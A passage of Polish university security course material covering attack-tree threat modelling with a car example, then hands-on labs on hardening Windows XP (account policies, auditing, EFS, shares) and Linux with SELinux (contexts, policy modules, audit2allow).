   1. zniszczenie w wyniku katastrofy naturalnej (upadek gałęzi drzewa, upadek elementu budowli, upadek skały, zalanie lawą itp.)
   2. zniszczenie w wyniku wypadku (najechanie przez inny pojazd, zrzucenie przedmiotu z wysokości na samochód itp.)
2. Atakujący
   1. dysponują powszechnie dostępnymi metodami i sprzętem (np. śrubokręty, młotki, cegły, kamienie itp.),
   2. dysponują specjalistycznym sprzętem i odpowiednim przeszkoleniem do jego używania, które wymagają znaczących inwestycji, ale są dostępne na rynku (np. sprzęt ślusarski, oprogramowanie komputera samochodowego, znajomością budowy samochodu itp.),
   3. dysponują specjalistycznym sprzętem i odpowiednim przeszkoleniem, które wymagają znaczących inwestycji, ale nie są dostępne na rynku i wymagają wypracowania tego sprzętu i umiejętności przez samych atakujących (np. skanery nadajników GPS, skanery pluskiew podsłuchowych, skanery elektroniki itp.).

We wszystkich tych kategoriach atakujących możemy założyć, że wykonali oni lub nie wykonali pracy operacyjnej, polegającej na obserwacji właściciela pojazdu przez pewien czas. Możemy też założyć, że atakujący mają odpowiednie doświadczenie we wdzieraniu się do samochodów albo też go nie mają. Kolejna własność, jaka może się tutaj pojawiać, to czas dostępny na dostanie się do środka - w każdej z tych kategorii włamywacz może mieć dużo czasu na samą czynność lub też mieć tego czasu niewiele i operować pod presją.

Zauważmy, że własności podane pod punktami powyżej mogą zostać zaaplikowane do każdego z punktów 2.a, 2.b, 2.c, tworząc szeroką paletę modeli atakującego.

Następny krok to konstrukcja samego drzewa. Warto zauważyć, że namysł nad chronionymi wartościami pozwala nam zauważyć, iż w istocie należałoby skonstruować kilka drzew ataków (być może dosyć podobnych do siebie), aby uzyskać klarowniejszą analizę zagrożeń i lepsze rozeznanie w tym, jakie środki służą zabezpieczaniu których wartości. Tutaj, z braku zasobów, skupimy się na analizie zagregowanej wartości związanej z samochodem.

Korzeniem drzewa ataku, które chcemy przedstawić, będzie zatem cel polegający na zdegradowaniu wartości samochodu dla właściciela. Zdegradowanie wartości samochodu może się odbyć na kilka sposobów:

• upadek konaru drzewa na samochód,
• otarcie się o samochód innego samochodu na parkingu,
• zarysowanie karoserii ostrym przedmiotem,
• zdegradowanie wartości przez dostanie się do wnętrza przez wrogiej osoby.

W tym momencie każdy z tak wyodrębnionych sposobów degradowania wartości staje się częściową przyczyną i trafia do wierzchołka drzewa będącego dzieckiem korzenia. Z kolei dzieci każdego z tych nowych wierzchołków będą opisywały sposoby osiągnięcia odpowiedniego celu częściowego. Możemy teraz zapisać większy fragment takiego drzewa.

. (OR) Zdegradowanie wartości udostępnianych przez samochód 

1. (OR) upadek konaru drzewa na samochód
  1.1. (OR) ustawienie samochodu pod drzewem, z którego opadnie konar
    1.1.1. (OR) opadnięcie w wyniku wichury
    1.1.2. (OR) opadnięcie konaru osłabionego w wyniku choroby
2. (OR) otarcie się o samochód innego samochodu na parkingu
3. (OR) zarysowanie karoserii ostrym przedmiotem,
  3.1. (OR) zarysowanie przez osobę przypadkowo przechodzącą z ostrym
    przedmiotem obok
  3.2. (OR) zarysowanie celowo przez jakąś osobę
4. (OR) zdegradowanie wartości przez dostanie się do wnętrza przez
   wrogą osobę
  4.2. (OR) dostanie się do wnętrza przez wybicie szyby
  4.3. (OR) dostanie się do wnętrza przez sforsowanie zamka
     4.3.1. (OR) sforsowanie zamka za pomocą wytrychu
     4.3.2. (OR) sforsowanie zamka za pomocą podrobionego kluczyka
     4.3.3. (OR) sforsowanie zamka za pomocą oryginalnego kluczyka
       4.3.3.1. (OR) zdobycie kluczyka za pomocą szantażu
       4.3.3.2. (OR) zdobycie kluczyka za pomocą przekupstwa
       4.3.3.3. (AND) zdobycie kluczyka przez kradzież
         4.3.3.3.1. (OR) znalezienie się w pobliżu właściciela
         4.3.3.3.2. (OR) zaobserwowanie, gdzie trzyma kluczyk
         4.3.3.3.3. (OR) podebranie kluczyka z zaobserwowanego miejsca

Proszę zwrócić uwagę na to, że niektóre wierzchołki są oznaczone w powyższym drzewie znacznikiem (OR), a inne znacznikiem (AND). Oznaczenie to wskazuje, jak należy traktować dzieci podczas analizy. Gdy wierzchołek jest oznaczony jako (OR), wystarczy wypełnienie przyczyny u jednego dziecka, aby uznać, że przyczyna z analizowanego wierzchołka się wypełniła i zagraża analizowanej wartości. Z kolei dla wierzchołka oznaczonego (AND) uznamy go za wypełnionego, gdy wszystkie jego wierzchołki potomne zostaną wypełnione. W naszym przykładowym drzewie wierzchołek (AND) jest przypisany do przyczyny "zdobycie kluczyka przez kradzież". Jak widzimy z drzewa kradzież zostanie dokonana, gdy złodziej znajdzie się w pobliżu właściciela, zaobserwuje, gdzie ten trzyma kluczyk i podbierze go z zaobserwowanego miejsca.

Po sporządzeniu drzewa ataku można się zacząć zastanawiać nad różnymi aspektami ataku. Można zacząć od wprowadzenia adnotacji, czy dane zagrożenie uważamy za możliwe lub niemożliwe. W tym celu oznaczamy według naszego wyczucia liście drzewa literami "m" (jak możliwe) i "n" (jak niemożliwe), a następnie propagujemy tę informację w kierunku korzenia, uznając, iż wierzchołek typu (OR) jest "m" jeśli któreś z jego dzieci jest "m", zaś wierzchołek (AND) jest "m", jeśli wszystkie jego dzieci są "m".

Inne możliwe sposoby wykonania adnotacji w takim drzewie mogą polegać na rozeznaniu, czy

• atak "wymaga specjalistycznego sprzętu", czy też "nie wymaga specjalistycznego sprzętu",
• jaki jest koszt ataku,
• jakie jest prawdopodobieństwo ataku (choć tego się nie zaleca, bo przyjmuje się, że szacowanie prawdopodobieństw bazowych jest tutaj obarczone zbyt dużym błędem).

Drzewa ataków zostały spopularyzowane przez Bruce Schneiera. Ich formalizm jest podobny i zapewne korzeniami tkwi w pojęciu "drzew usterek" (ang. fault trees). Główna różnica polega tutaj na dodaniu do analizy obejmującej usterki nie wynikające ze złej ludzkiej woli możliwych umyślnych wrogich działań.

Należy pamiętać, że takie drzewa z czasem ulegają zmianie. Również przeniesienie naszej wartości w inny kontekst (np. do Japonii, gdzie występują trzęsienia ziemi) może wprowadzić nowe wierzchołki do drzewa.

Materiały uzupełniające:

1. Materiały Amenza Technologies Limited: http://www.amenaza.com/downloads/docs/AttackTreeFundamentals.pdf
2. O narzędziach: https://buildsecurityin.us-cert.gov/articles/tools/modeling-tools/introd...
3. Analiza pojęcia drzew ataków: http://www.sti.uniurb.it/events/fosad05/attacktrees.pdf

Kilka narzędzi korzystających z tego podejścia:

1. ADTool: http://satoss.uni.lu/members/piotr/adtool/
2. Ent: https://github.com/jimmythompson/ent
3. SeaMonster: https://sourceforge.net/projects/seamonster/
4. AttackTree: https://www.isograph.com/software/attacktree/
5. SecurITree: http://www.amenaza.com/SS-what_is.php

Ćwiczenia na zajęciach:

1. Dodaj do zaproponowanego w opisie zajęć drzewa kilka wierzchołków na każdym poziomie.
2. Dodaj do opracowanego przez siebie drzewa adnotacje dla zasugerowanych powyżej analiz: możliwości wykonania ataku, konieczności użycia specjalistycznego sprzętu oraz kosztu.
3. Przejrzyj drzewo ataku dla PGP zaproponowane przez Bruce'a Schneiera: https://www.schneier.com/paper-attacktrees-fig7.html Jak można tam przypisać etykiety możliwości i niemożliwości?

Laboratorium: umacnianie, utwardzanie - temat nierealizowany

Umacnianie ochrony systemu operacyjnego MS Windows

Wprowadzenie

Systemy operacyjne z rodziny Microsoft Windows należą niewątpliwie do liderów popularności na rynku systemów operacyjnych. W większości zastosowań domowych popularne "windowsy" sprawdzają się bardzo dobrze, co owocuje dużym przywiązaniem użytkowników do tych produktów. Istnieją zastosowania, w których systemy te słabo bądź w ogóle nie sprawdzają się, jednakże z powodu wygody użytkowania i przystępnego środowiska graficznego są liderem na rynku systemów biurkowych. Systemy MS Windows posiadają wbudowane mechanizmy podwyższające bezpieczeństwo i znajomość tych podstawowych rozwiązań powinna być znana każdemu użytkownikowi tych systemów. W niniejszym opracowaniu zostaną przedstawione różne aspekty podnoszenia poziomu bezpieczeństwa pracy w systemach MS Windows XP. Rozwiązania prezentowane należą do grupy zabiegów określanych mianem utwardzanie systemu (ang. system hardening) i mają na celu podniesienie poziomu bezpieczeństwa oferowanego przez system.

Konta użytkowników

Pierwszą czynnością podczas pracy z systemem Windows XP jest zalogowanie się do systemu. W większości wypadków konto, na które następuje logowanie, jest chronione hasłem użytkownika. Możliwe jest również automatyczne logowanie na konto danego użytkownika bez podawania hasła. Jednak taka konfiguracja nie jest zalecana. System Windows posiada rozbudowane możliwości konfigurowania kont użytkowników i procedury logowania. Opcje konfiguracyjne zlokalizowane są w oknie "Ustawienia zabezpieczeń lokalnych", w podgrupie "Zasady konta". Dostęp do "Ustawień zabezpieczeń lokalnych" można uzyskać poprzez okno "Panel sterowania" i dalej "Narzędzia administracyjne" lub przez uruchomienie polecenia secpol.msc.

Dostępne opcje to m.in.:

• określenie maksymalnego okresu ważności hasła,
• określenie minimalnej długości hasła,
• pamiętanie historii haseł,
• ustawienie progu blokady konta (liczby dopuszczalnych niepoprawnych logowań),
• ustawienie czasu trwania blokady konta.

Inspekcja zdarzeń

System Windows oferuje możliwość inspekcji (ang. logging), czyli rejestrowania, różnych zdarzeń zachodzących w systemie (np. logowania na konto, użycia uprawnień itp.). Inspekcję poszczególnych zdarzeń można włączyć poprzez okno "Ustawienia zabezpieczeń lokalnych", w podgrupie "Zasady lokalne" i dalej "Zasady inspekcji". Zarejestrowane zdarzenia można przeglądać za pomocą programu
"Podgląd zdarzeń", dostępnego z okna "Narzędzia administracyjne" lub poprzez uruchomienie polecenia eventvwr.msc.

Niektóre ze zdarzeń mogących podlegać inspekcji to:

• dostęp do obiektów,
• użycie uprawnień,
• zarządzanie kontami,
• zdarzenia logowania na konto,
• zmiana zasad zabezpieczeń.

Dezaktywacja kont

Wszelkie konta (w tym szczególnie konta zakładane domyślnie przez system lub aplikacje), poza rzeczywiście niezbędnymi, powinny być zablokowane (lub usunięte). Dezaktywacji konta (oraz zmiany innych właściwości) można dokonać poprzez okno "Zarządzanie komputerem", w podgrupie "Narzędzia systemowe", a dalej "Użytkownicy i grupy lokalne", "Użytkownicy". Dostęp do "Zarządzania
komputerem" można uzyskać z okna "Narzędzia administracyjne" lub poprzez uruchomienie polecenia compmgmt.msc.

Konta użytkowników uprzywilejowanych

Konta użytkowników uprzywilejowanych należy szczególnie starannie chronić przed wykorzystaniem przez osoby nieuprawnione. W pewnym stopniu można utrudnić nielegalne wykorzystanie konta Administratora (włamanie) przez zmianę standardowej nazwy tego konta, często oczekiwanej przez intruzów. Jednak wszelkie konta w systemie posiadają oprócz nazw także identyfikatory numeryczne, które nie ulegają zmianie nawet po ewentualnej zmianie nazwy konta (zaawansowane metody ataku korzystają z takich identyfikatorów). Nazwę użytkownika uprzywilejowanego można zmienić w oknie "Ustawienia zabezpieczeń lokalnych", w podgrupie "Zasady lokalne" i dalej "Opcje zabezpieczeń".

System plików

System plików NTFS umożliwia związanie z każdym zasobem plikowym (w tym katalogiem) listy kontroli dostępu ACL (Access Control List). Dostęp do prostych ustawień ACL pliku (katalogu) jest możliwy z poziomu np. "Eksploratora Windows" w opcji "Właściwości" (menu "Plik" lub kontekstowe), w zakładce "Zabezpieczenia". Rozszerzone listy ACL są dostępne po wyborze opcji "Zaawansowane".

Rozszerzone listy ACL są dostępne po wyborze opcji "Zaawansowane".

UWAGA! Może się zdarzyć, że zakładka "Zabezpieczenia" jest ukryta. Należy wtedy upewnić się, że korzystamy z systemu plików NTFS (FAT32 nie obsługuje ACL) i wykonać następujące czynności: otworzyć okno "Eksploratora", z menu "Narzędzia" wybrać "Opcje folderów..." i w zakładce "Widok" odznaczyć opcję "Użyj prostego udostępniania plików (zalecane)", a następnie zastosować zmiany.

Listy kontroli dostępu w NTFS są bardziej rozbudowane niż POSIX ACL. Oprócz standardowych praw oczytu, zapisu i wykonywania, udostępniają m.in.:

• prawo odczytu-zapisu atrybutów,
• prawo tworzenia plików i folderów,
• prawo usuwania folderów i plików,
• prawo odczytu-zapisu uprawnień,
• prawo przejęcia na własność.

Szyfrowanie danych

System plików NTFS umożliwia również ochronę kryptograficzną zasobów plikowych, metodą szyfrowania symetrycznego (algorytmem DESX).

Dostęp do tej opcji mamy również z poziomu "Właściwości" pliku, wybierając opcję "Zaawansowane..." w zakładce "Ogólne". Użyty do szyfrowania klucz właściciela pliku przechowywany jest w certyfikacie użytkownika. Razem z nim system operacyjny utrzymuje też klucz uniwersalny usługi systemowej Data Recovery Agent. Klucze te są widoczne w aplikacji Microsoft Management Console (program mmc).

Aby je zobaczyć, należy w oknie MMC z menu "Plik" wybrać opcję "Dodaj/Usuń przystawkę" (np. klawiszem Ctrl-M), a następnie dodać przystawkę "Certyfikaty – bieżący użytkownik".

Środowisko sieciowe, udziały sieciowe

Rdzennymi w środowisku MS Windows protokołami sieciowymi obsługującymi zasoby udostępniane w otoczeniu sieciowym są NetBIOS (Network Basic Input/Output System) i SMB (Server Message Block). Nie są to, niestety, wyrafinowane protokoły, szczególnie pod względem bezpieczeństwa. Udziałami nazywa się w protokole SMB udostępnione poprzez sieć zasoby systemu operacyjnego. Polecenie
net z argumentem share pozwala wyświetlić listę udziałów bieżącego systemu.

Systemy MS Windows bezpośrednio po instalacji tworzą pewne udziały domyślne (dla Windows XP są to np. C$ oraz ADMIN$), które, jakkolwiek na ogół nie stanowią istotnej luki ezpieczeństwa, często nie są potrzebne i powinny być wyłączone. W tym celu niezbędna jest modyfikacja rejestru systemowego. Dla systemu Windows XP w gałęzi HLM\SYSTEM\CurrentControlSet\Services\LanManServer w kluczu parameters należy dodać wartość AutoShareWks typu DWORD równą 0 i ponownie uruchomić system.

Ukrycie komputera w otoczeniu sieciowym

W systemie Windows XP istnieje możliwość ukrycia nazwy bieżącego komputera w otoczeniu sieciowym, z zachowaniem jednocześnie możliwości udostępniania zasobów. Ukrycie takie w czasie bieżącej sesji umożliwia polecenia net z argumentem config server:

C:\> net config server /hidden:yes

/hidden – opcja ukrycia nazwy w otoczeniu sieciowym, możliwe wartości yes oraz no.

Aby trwale uczynić nazwę bieżącego komputera niewidoczną w otoczeniu sieciowym, należy zmodyfikować wpis w rejestrze systemowym: w gałęzi HLM\SYSTEM\CurrentControlSet\Services\LanManServer w kluczu parameters należy dodać wartość Hidden typu DWORD równą 1.

Zapory sieciowe

W systemie Windows XP SP 2 dostępne jest "Centrum zabezpieczeń" zawierające m.in. "Zaporę sieciową".

Niestety ta prosta zapora nie umożliwia precyzyjnej kontroli ruchu sieciowego.

Z tego powodu nieodzowne jest zainstalowanie oddzielnego produktu typu Personal Firewall. Dobrym przykładem może być Kerio Personal Firewall (firmy Kerio), który pozwala na wielopoziomowe filtrowanie ruchu sieciowego.

Podsumowanie

Systemy z rodziny MS Windows są bardzo popularne. Nie wszystkie elementy systemu stoją na tak wysokim poziomie jak graficzny interfejs użytkownika. W Internecie można znaleźć wiele przykładów na to, że systemy te są podatne na wiele groźnych ataków, w których wyniku użytkownicy mogą być narażeni na utratę dany, szantaże i straty materialne spowodowane kradzieżą numerów kont, haseł itp. Firma Microsoft dokłada starań, aby jej produkty były coraz mniej podatne na różnego typu ataki, jednak nie zwalnia to użytkowników od interesowania się bezpieczeństwem systemu operacyjnego, którego używają na co dzień. Dlatego też podstawowa wiedza z dziedziny szeroko rozumianego bezpieczeństwa systemów komputerowych i informacji jest konieczna do przyswojenia, jeśli użytkownicy nie chcą być biernymi obserwatorami nadużyć komputerowych popełnianych na ich systemach operacyjnych.

Problemy do dyskusji

• Jakie znasz ataki, na które podatne są systemy z rodziny MS Windows?
• Czy wiesz, jak się bronić przed najczęstszymi atakami takim jak wirusy, robaki internetowe, programy szpiegujące i spam?
• Czy znasz i używasz popularnych zamienników programów stosowanych na platformie MS Windows, będących często powodem problemów z bezpieczeństwem? Czy potrafisz wymienić takie programy?

Ćwiczenia

1. Utwórz konto użytkownika test1 z hasłem test.

2. Zweryfikuj trudność złamania haseł w systemie za pomocą wybranego narzędzia typu reactive password checking (np. LC4, który można pobrać ze strony www.net-security.org).

3. Włącz opcję "Hasło musi spełniać wymagania co do złożoności" w "Ustawieniach zabezpieczeń lokalnych" i ustaw następujące parametry:
a. maksymalny wiek hasła: 42 dni,
b. minimalna długość hasła: 8 znaków,
c. minimalny okres ważności hasła: 2 dni,
d. 24 ostatnie hasła pamiętane w historii,
e. wyłączone odwracalne szyfrowanie haseł,
f. utwórz użytkownika "test2" w tak zmienionym środowisku.

4. Ustaw i przetestuj następujące parametry blokady konta:
a. próg blokady: 4 próby,
b. czas trwania blokady: 30 minut,
c. zerowanie licznika prób: po 30 minutach.

5. Wyłącz przechowywanie skrótów kryptograficznych haseł w postaci LMhash:
a. Znajdź i włącz opcję "Zabezpieczenia sieci: nie przechowuj wartości hash programu LAN Manager" w "Zasadach zabezpieczeń lokalnych".
b. Sprawdź ponownie programem LC4, czy skróty Lmhash są dostępne.

6. Włącz i przetestuj inspekcję zdarzeń logowania zakończonych sukcesami i niepowodzeniem.

7. Zidentyfikuj i wyłącz nieużywane konta.

8. Zmień nazwę konta Administratora, np. na Szef.

9. Przetestuj dodawanie i usuwanie zaawansowanych opcji dostępu do pliku i katalogu między użytkownikami test1 i test2.

10. Utwórz plik tekstowy tajne.txt o dowolnej treści. Wyświetl jego zawartość w Eksploratorze oraz w konsoli tekstowej (np. poleceniem type). Następnie:
a. Zaszyfruj ten plik i spróbuj ponownie wyświetlić jego zawartość.
b. Wyświetl informacje o zaszyfrowanym pliku poleceniem efsinfo.
c. Odszukaj certyfikat EFS klucza szyfrowania.
d. Zaloguj się jako inny użytkownik i spróbuj wyświetlić zawartość tego pliku.

11. Usuń udziały domyślne swojego stanowiska komputerowego. Zweryfikuj rezultat.

12. Sprawdź widoczność swojego stanowiska w otoczeniu sieciowym. Przetestuj ukrywanie jego nazwy. Czy cały czas możliwe jest korzystanie z udostępnianych zasobów?

13. Używając zapory sieciowej, zablokuj całkowicie komunikację z wykorzystaniem protokołu ICMP. Przetestuj konfigurację za pomocą polecenia ping.

Utwardzanie ochrony systemu operacyjnego Linux

Wprowadzenie

Utwardzanie ochrony systemu operacyjnego jest szczególnie ważne dla serwerów pracujących bezustannie oraz dla serwerów o zakładanym wysokim poziomie bezpieczeństwa przechowujących tajne dane. System taki powinien być odporny na większość (jeśli nie wszystkie) możliwe próby ataku lub włamania. Oczywiście jest to bardzo trudne do osiągnięcia, jeśli w ogóle możliwe. Już w latach
80. zaczęto się zastanawiać nad zwiększeniem bezpieczeństwa systemów serwerowych. Głównymi inicjatorami tych rozszerzeń były organizacje wojskowe i rządowe, które musiały dobrze chronić informacje. Zaproponowano wówczas nowy model bezpieczeństwa - Obowiązkową Kontrolę Dostępu (MAC), zamiast aktualnie wykorzystywanej Uznaniowej Kontroli Dostępu (DAC).

Rozwój systemów wykorzystujących politykę MAC jest dosyć powolny, głównie ze względu na trudności administracyjne tych systemów. Jednak ich ogromnym plusem jest odporność na większość ataków, włamań - warunkiem jednakże jest poprawne skonfigurowanie polityki, co jest zadaniem bardzo trudnym.

Niniejsze ćwiczenie ma zaznajomić z utwardzaniem ochrony na przykładzie systemu wykorzystującego politykę MAC o nazwie SELinux (Security-Enhanced Linux).

Informacje o systemie SELinux

SELinux został stworzony przez NSA na własne potrzeby. Został on udostępniony społeczności w 2000 roku na licencji GPL. Od wersji jądra 2.6.0-test3 jest dostępny w podstawowym jądrze Linuksa - co nie oznacza, że zawsze jest włączony. Obecnie jest rozwijany przez społeczność oraz wiele firm związanych z Linuksem (w tym intensywnie przez RedHat).

SELinux to nie tylko rozbudowa jądra systemu o dodatkową kontrolę dostępu, ale również kilka narzędzi konfiguracyjnych oraz przede wszystkim zestaw polityk definiujących podstawowe uprawnienia różnych procesów. Większość dystrybucji dostarcza zarówno jądro z włączoną obsługą SELinux, jak i podstawowy zestaw polityk.

System ten implementuje połączenie kilku podejść do kontroli dostępu, najistotniejsze to MAC, RBAC (Role-Based Access Control), TE (Type Enforcement). Pozwala to bardzo elastycznie i precyzyjnie definiować dozwolone operacje poszczególnych elementów systemu, np. skrypt używany do tworzenia kopii zapasowych może mieć inne prawa dostępu do plików (obiektów VFS), gdy jest uruchamiany przez użytkownika interaktywnego (np. zalogowanego z konsoli), a inne, gdy jest uruchamiany jako ten sam użytkownik (!) z cron-a.

SELinux rozdziela obiekty w systemie na dwie kategorie:

• podmioty (subjects) - procesy,
• przedmioty operacji (objects) – pliki (zwykłe pliki, katalogi, gniazda, rurki itp.) i inne obiekty (np. gniazda tcp).

Wszystkie podmioty i przedmioty operacji mają nadany "kontekst bezpieczeństwa". W przypadku procesów nazywa się go domeną, a w przypadku plików - file_context. Polityki (zasady) określają z jakiej domeny jakie operacje są dozwolone na poszczególnych file_contextach oraz jak i jakie są dozwolone przejścia pomiędzy domenami. Konteksty plików są przechowywane w rozszerzonych atrybutach (xattr), dla nowych plików są dziedziczone po katalogach (o ile polityka nie wskaże inaczej). Konteksty procesów są przechowywane w strukturze opisującej proces w jądrze (task_struct) i dla nowych procesów są dziedziczone po rodzicu (o ile
polityka nie wskaże inaczej).

Zasady mogą być podzielone na moduły, co ułatwia zarządzanie poszczególnymi elementami.

SELinux może pracować w trzech trybach:

• disabled - wyłączony,
• permissive - włączone tylko sprawdzanie uprawnień, ale w przypadku ich naruszenia powoduje tylko odnotowanie tego faktu, bez blokowania dostępu (ten tryb jest przydatny do testowania polityk),
• enforcing - włączone zarówno sprawdzanie jak i egzekwowanie uprawnień.

Oprócz powyższych trybów ochrona może być na trzech poziomach:

• targeted - tylko niektóre usługi są obięte ochroną, a pozostałe procesy działają w domenie unconfined_t,
• strict - pełna ochrona, wszystko co nie zostanie explicite dozwolone - zostaje zablokowane,
• mls - (Multi Level Security) umożliwia nadawanie kategorii bezpieczeństwa plikom, stworzone na potrzeby certyfikacji EAL4+/LSPP.

W nowszych systemach (m.in. w labie 5790) poziomy strict i targeted są zastąpione poziomem default. W praktyce jest on nieznacznie zmodyfikowanym dotychczasowym poziomem targeted.

Ze względu na ograniczony czas na tych zajęciach zajmiemy się jedynie częścią funkcjonalności systemu SELinux. Zainteresowanych całością systemu odsyłamy do strony http://selinuxproject.org/.

Instalacja systemu SELinux

W większości dystrybucji SELinux jest dostarczany razem z dystrybucją (domyślnie zainstalowany lub jako opcja). W systemach RedHat (RedHat Enterprise Linux, CentOS, Fedora) SELinux będzie domyślnie zainstalowany wraz z zestawem polityk.

W Debianie będzie trzeba doinstalować kilka pakietów:

$ apt-get install selinux-basics

Następnie trzeba wydać poniższe polecenie i zrestartować system:

$ selinux-activate

Doda ono opcję "selinux=1" do parametrów jądra w bootloaderze GRUB oraz utworzy plik /.autorelabel. Przy najbliższym starcie systemu wszystkie pliki w sytemie zostaną zaopatrzone w konteksty bezpieczeństwa zgodnie z domyślną polityką.

Domyślnie system będzie pracował w trybie permissive. Aby przełączyć w tryb enforcing należy wydać polecenie:

$ selinux-config-enforcing

Konfiguracja trybu pracy znajduje się w pliku /etc/selinux/config.

Konteksty i polityki

Kontekst składa się z kilku elementów:

<użytkownik>:<rola>:<typ>:<MLS>

użytkownik - wskazuje użytkownika, który uruchomił dany proces lub stworzył dany plik.
rola – decyduje o tym, którzy użytkownicy (grupy) mają dostęp do poszczególnych domen.
typ – główna część kontekstu – decyduje o dostępie, jest używana w polityce do zdefiniowania reguł dostępu.
MLS – tylko w nowszych implementacjach – kategoria MLS.

Rola i użytkownik mają małe znaczenie na poziomie targeted/default.

Przykładowy file_context:

system_u:object_r:ifconfig_exec_t:s0 /bin/ip
system_u:object_r:home_root_t:s0 /home

Przykładowa domena procesu:

system_u:system_r:httpd_t:s0 /usr/sbin/apache2 -k start

Zasady regulują, które domeny mają dostęp do poszczególnych obiektów. Pojedyncza zasada składa się z następujących elementów:

• akcja, niektóre wartości:
  • allow - zezwól
  • auditallow - zezwól i zaloguj ten fakt
  • dontaudit - nie loguj próby
  • type_transition - definiuj przejście pomiędzy kontekstami
• podmiot - domena procesu który próbuje wykonać operację (np httpd_t)
• przedmiot - kontekst i klasa przedmiotu akcji (np home_root_t:dir)
• operacja - jakiej operacji ma dotyczyć zasada, niektóre z operacji:
  • dir { read getattr search add_name write } - katalog: czytanie listy plików, pobieranie atrybutów, testowanie istnienia pliku, dodawanie pliku, zapis
  • ile { write create getattr setattr } - plik: zapis, utworzenie, pobranie atrybutów, ustawianie atrybutów
  • lnk_file { read getattr } - link symboliczny: czytanie, pobranie atrybutów
  • tcp_socket { name_bind } - gniazdo tcp: oczekiwanie na połączenia przychodzące

Przykładowy plik (moduł) definiujący kilka zasad razem z zależnościami znajduje się w pliku example.te (patrz niżej, załączone pliki mają zmienione nazwy: example.te_.txt i example.fc_.txt). W tym pliku znajduje się również bogatsza lista operacji. Przykładowy moduł można skompilować i załadować poleceniami:

checkmodule -M -m -o example.mod example.te
semodule_package -o example.pp -m example.mod -f example.fc
semodule -i example.pp

W praktyce moduły pisze się za pomocą makr m4. Można obejrzeć je, instalując pakiet selinux-policy-src. Źródła domyślnej polityki będą w /usr/src.

Użytkownicy w domyślnej polityce (w nawiasach dozwolone role):
system_u (system_r) - procesy systemowe,
user_u (user_r) - zwykły, nieuprzywilejowany użytkownik,
staff_u (staff_r, sysadm_r) - administrator systemu wykonujący też nieuprzywilejowane zadania,
sysadm_u (sysadm_r) - administrator systemu,
root (staff_r, sysadm_r) - specjalny użytkownik dla systemowego konta root (do pracy interaktywnej).

Narzędzia i opcje

1. Status i tryby SELinux

$ sestatus # ogólny status systemu SELinux
$ sestatus -b # powyższe plus zmienne mogące wpływać na polityki (polityka może ich używać jak normalne zmienne w skryptach)
$ getenforce # pobieranie trybu SELinux
$ setenforce # ustatawianie trybu SELinux

Powyższe operacje można również uzyskać przez odczytywanie-zapisywanie odpowiednich plików w /selinux (podmontowanym specjalnym systemem plików selinuxfs).

2. Sprawdzanie kontekstów

Większość standardowych narzędzi pokazujących informacje o plikach i procesach obsługuje opcję -Z do wyświetlenia dodatkowo kontekstów. Przykłady:

$ id -Z #kontekst (domena) aktualnie zalogowanego użytkownika (jego powłoki)
$ ps -Z #kontekst uruchomionych procesów
$ ls -Z #kontekst plików

3. Zmiana kontekstów

Kontekst pliku zmienia się poleceniem chcon, np:

$ chcon -t user_home_t /tmp/myfile

Można również przywrócić domyślny kontekst wynikający z polityki poleceniem "restorecon".

Niektórych przedmiotów polityki nie da się odwzorować w systemie plików. Są to np. porty tcp/udp. Do zarządzania nimi służy narzędzie semanage. Pozwala ono operować m.in. na:

• port - powiązanie nazw z numerami portów
• login - powiązanie użytkownika systemowego z użytkownikiem-rolą SELinux - jeśli użytkownik nie jest tu wymieniony explicite, zostanie użyta wartość powiązana z __default__. Ustawianiem początkowych kontekstów procesom użytkownika zajmuje się moduł PAM (pam_selinux) lub odpowiednio zmodyfikowany program login.
• user - dozwolone role dla użytkowników
• fcontext - domyślne file_contexty dla plików

Obsługa, przykłady:

$ semanage port -l #lista klas portów (będących przedmiotem reguł)
$ semanage login -a -s user_u test # połączenie użytkownika systemowego test z użytkownikiem SELinux user_u

Do przełączania się pomiędzy rolami (w ramach swoich uprawnień) służy polecenie:

$ newrole

Polecenie to będzie pytało o hasło użytkownika.

4. Modyfikacja polityki

Najczęściej zmieniane parametry polityki można modyfikować poprzez zmienne. Jeśli chcemy wprowadzić jakąś modyfikację polityki, warto najpierw sprawdzić, czy nie ma do tego zmiennej. Do modyfikacji służą narzędzia:

$ getsebool -a # wyświetla listę zmiennych
$ setsebool # ustawia wartość zmiennej
$ setsebool -P # ustawia wartość zmiennej i zapisuje modyfikację do konfiguracji (będzie działała również po restarcie systemu)

Część zmian wymaga ingerencji w samą polityce. Najłatwiej takie zmiany wprowadzić przez przygotowanie osobnego modułu. Po przygotowaniu pliku .te z zasadami należy skompilować plik poleceniem:

$ checkmodule -M -m -o module.mod module.te
$ semodule_package -o module.pp -m module.mod

a następnie załadować moduł do jądra:

$ semodule -i module.pp

załadowane moduły można wylistować tak:

$ semodule -l

Warto też przejrzeć pozostałe opcje poleceń semodule, semanage.

5. Skrypty startowe

Jeśli ręcznie restartujemy jakąś usługę, to, aby była uruchomiona w odpowiednim kontekście, należy uruchamiać ją przez run_init:

$ run_init /etc/init.d/ssh start

Polecenie to będzie pytało o hasło użytkownika root.

6. Diagnostyka

System zapisuje w dzienniku większość operacji zablokowania dostępu (konkretnie te, które nie są wyłączone regułą dontaudit). Są one przechowywane razem z innymi komunikatami jądra (w Debianie /var/log/kern.log). Każda linia zawiera informację, jaka akcja przez kogo i na jakim obiekcie została zablokowana. Przykładowa linia:

[28982.648028] type=1400 audit(1287270591.742:1243870): avc: denied { read }
for pid=8745 comm="cat" name="example-file" dev=sda1 ino=125781
scontext=user_u:user_r:user_t:s0 tcontext=system_u:object_r:example_file_t:s0
tclass=file

widać tu po kolei:
- denied { read } - zablokowaną akcją jest odczyt
- pid=8745 - pid procesu, któremu odmówiono dostępu
- comm="cat" - nazwa procesu
- name="example-file" dev=sda1 ino=125781 - przedmiot akcji (tutaj plik "example-file" na urządzeniu sda1 o numerze i-węzła 125781)
- scontext=user_u:user_r:user_t:s0 - kontekst procesu wykonującego akcję (source-context)
- tcontext=system_u:object_r:example_file_t:s0 - kontekst przedmiotu akcji (target-context)
- tclass=file - klasa przedmiotu

Korzystając ze skryptu audit2allow, można łatwo stworzyć regułę zezwalającą na daną akcję. Przykłady:

$ cat /var/log/kern.log | audit2allow #wypisuje nowe reguły
$ cat /var/log/kern.log | audit2allow -M local #tworzy (ale nie ładuje) moduł "local" zawierający reguły zezwalające

W praktyce, przed załadowaniem tak stworzonych reguł, warto sprawdzić, czy nie zezwalają na więcej niż chcemy. Można też oczywiście do audit2allow przekazywać pojedyncze linie logów, aby utworzyć z nich reguły. To ostatnie użycie zwykle przydaje się przy tworzeniu nowych polityk.

